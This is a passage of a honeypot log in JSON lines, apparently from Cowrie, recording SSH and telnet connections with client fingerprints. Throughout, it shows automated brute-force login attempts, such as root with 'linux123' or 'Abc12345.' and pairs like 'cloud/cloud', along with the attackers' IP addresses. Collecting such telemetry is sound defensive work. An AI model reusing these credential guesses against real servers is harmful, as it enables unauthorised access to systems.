af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:44.058594Z","src_ip":"95.90.13.168","session":"13feeb0018e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345.","message":"login attempt [root/Abc12345.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:44.557500Z","src_ip":"95.90.13.168","session":"13feeb0018e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:45.670618Z","src_ip":"95.90.13.168","session":"13feeb0018e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":59712,"dst_ip":"10.17.0.5","dst_port":22,"session":"57ca7f06edc4","protocol":"ssh","message":"New connection: 8.218.166.49:59712 (10.17.0.5:22) [session: 57ca7f06edc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:46.574213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:28:46.579288Z","src_ip":"8.218.166.49","session":"57ca7f06edc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":58836,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1db0ea9ceb2","protocol":"ssh","message":"New connection: 8.218.166.49:58836 (10.17.0.5:22) [session: f1db0ea9ceb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:29:14.349558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:29:15.260565Z","src_ip":"8.218.166.49","session":"f1db0ea9ceb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:29:17.801838Z","src_ip":"8.218.166.49","session":"f1db0ea9ceb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:29:26.954887Z","src_ip":"8.218.166.49","session":"57ca7f06edc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":64007,"dst_ip":"10.17.0.5","dst_port":22,"session":"d70eea960da7","protocol":"ssh","message":"New connection: 95.90.13.168:64007 (10.17.0.5:22) [session: d70eea960da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:29:29.352709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:29:29.361788Z","src_ip":"95.90.13.168","session":"d70eea960da7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:29:29.482615Z","src_ip":"95.90.13.168","session":"d70eea960da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"simplepass","message":"login attempt [root/simplepass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:29:29.962041Z","src_ip":"95.90.13.168","session":"d70eea960da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:29:31.083232Z","src_ip":"95.90.13.168","session":"d70eea960da7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":32812,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff32d136de78","protocol":"ssh","message":"New connection: 14.63.196.175:32812 (10.17.0.5:22) [session: ff32d136de78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:29:49.501676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:29:49.506718Z","src_ip":"14.63.196.175","session":"ff32d136de78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:29:49.710005Z","src_ip":"14.63.196.175","session":"ff32d136de78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135858","message":"login attempt [root/135858] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:29:50.555873Z","src_ip":"14.63.196.175","session":"ff32d136de78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:29:50.932425Z","src_ip":"8.218.166.49","session":"f1db0ea9ceb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:29:51.762760Z","src_ip":"14.63.196.175","session":"ff32d136de78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:29:58.547684Z","src_ip":"8.218.166.49","session":"27bd176083e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:30:06.887559Z","src_ip":"8.218.166.49","session":"73a873c0f322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"58.8","message":"Connection lost after 58.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:30:13.141103Z","src_ip":"8.218.166.49","session":"f1db0ea9ceb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:30:13.254564Z","src_ip":"8.218.166.49","session":"b38a83dacaf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":62476,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ff0380e2e89","protocol":"ssh","message":"New connection: 95.90.13.168:62476 (10.17.0.5:22) [session: 4ff0380e2e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:30:14.129269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:30:14.135370Z","src_ip":"95.90.13.168","session":"4ff0380e2e89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:30:14.249331Z","src_ip":"95.90.13.168","session":"4ff0380e2e89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nada","message":"login attempt [root/nada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:30:14.744231Z","src_ip":"95.90.13.168","session":"4ff0380e2e89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:30:15.863632Z","src_ip":"95.90.13.168","session":"4ff0380e2e89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:30:22.992306Z","src_ip":"8.218.166.49","session":"57ca7f06edc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00202298164368,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:30:24.035022Z","src_ip":"181.115.174.31","session":"63d41b6d4bab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0017397403717,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:30:27.457214Z","src_ip":"181.115.174.31","session":"00bbc9c3ea9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.115.174.31","src_port":60461,"dst_ip":"10.17.0.5","dst_port":23,"session":"63da6714bf45","protocol":"telnet","message":"New connection: 181.115.174.31:60461 (10.17.0.5:23) [session: 63da6714bf45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:30:29.044288Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:30:46.580475Z","src_ip":"8.218.166.49","session":"57ca7f06edc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":60288,"dst_ip":"10.17.0.5","dst_port":22,"session":"310eb55ece47","protocol":"ssh","message":"New connection: 95.90.13.168:60288 (10.17.0.5:22) [session: 310eb55ece47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:30:58.440316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:30:58.444801Z","src_ip":"95.90.13.168","session":"310eb55ece47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:30:58.560558Z","src_ip":"95.90.13.168","session":"310eb55ece47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:30:59.053838Z","src_ip":"95.90.13.168","session":"310eb55ece47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:00.170769Z","src_ip":"95.90.13.168","session":"310eb55ece47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.195.187","src_port":56528,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7a4d687b8d2","protocol":"ssh","message":"New connection: 104.28.195.187:56528 (10.17.0.5:22) [session: f7a4d687b8d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:12.367857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:12.374150Z","src_ip":"104.28.195.187","session":"f7a4d687b8d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:12.457022Z","src_ip":"104.28.195.187","session":"f7a4d687b8d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12","message":"login attempt [root/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:12.855370Z","src_ip":"104.28.195.187","session":"f7a4d687b8d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:13.957488Z","src_ip":"104.28.195.187","session":"f7a4d687b8d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":39666,"dst_ip":"10.17.0.5","dst_port":22,"session":"86d077eb34c3","protocol":"ssh","message":"New connection: 8.218.166.49:39666 (10.17.0.5:22) [session: 86d077eb34c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:26.266629Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":59284,"dst_ip":"10.17.0.5","dst_port":22,"session":"b49203132cb6","protocol":"ssh","message":"New connection: 95.90.13.168:59284 (10.17.0.5:22) [session: b49203132cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:43.960788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:43.964733Z","src_ip":"95.90.13.168","session":"b49203132cb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@o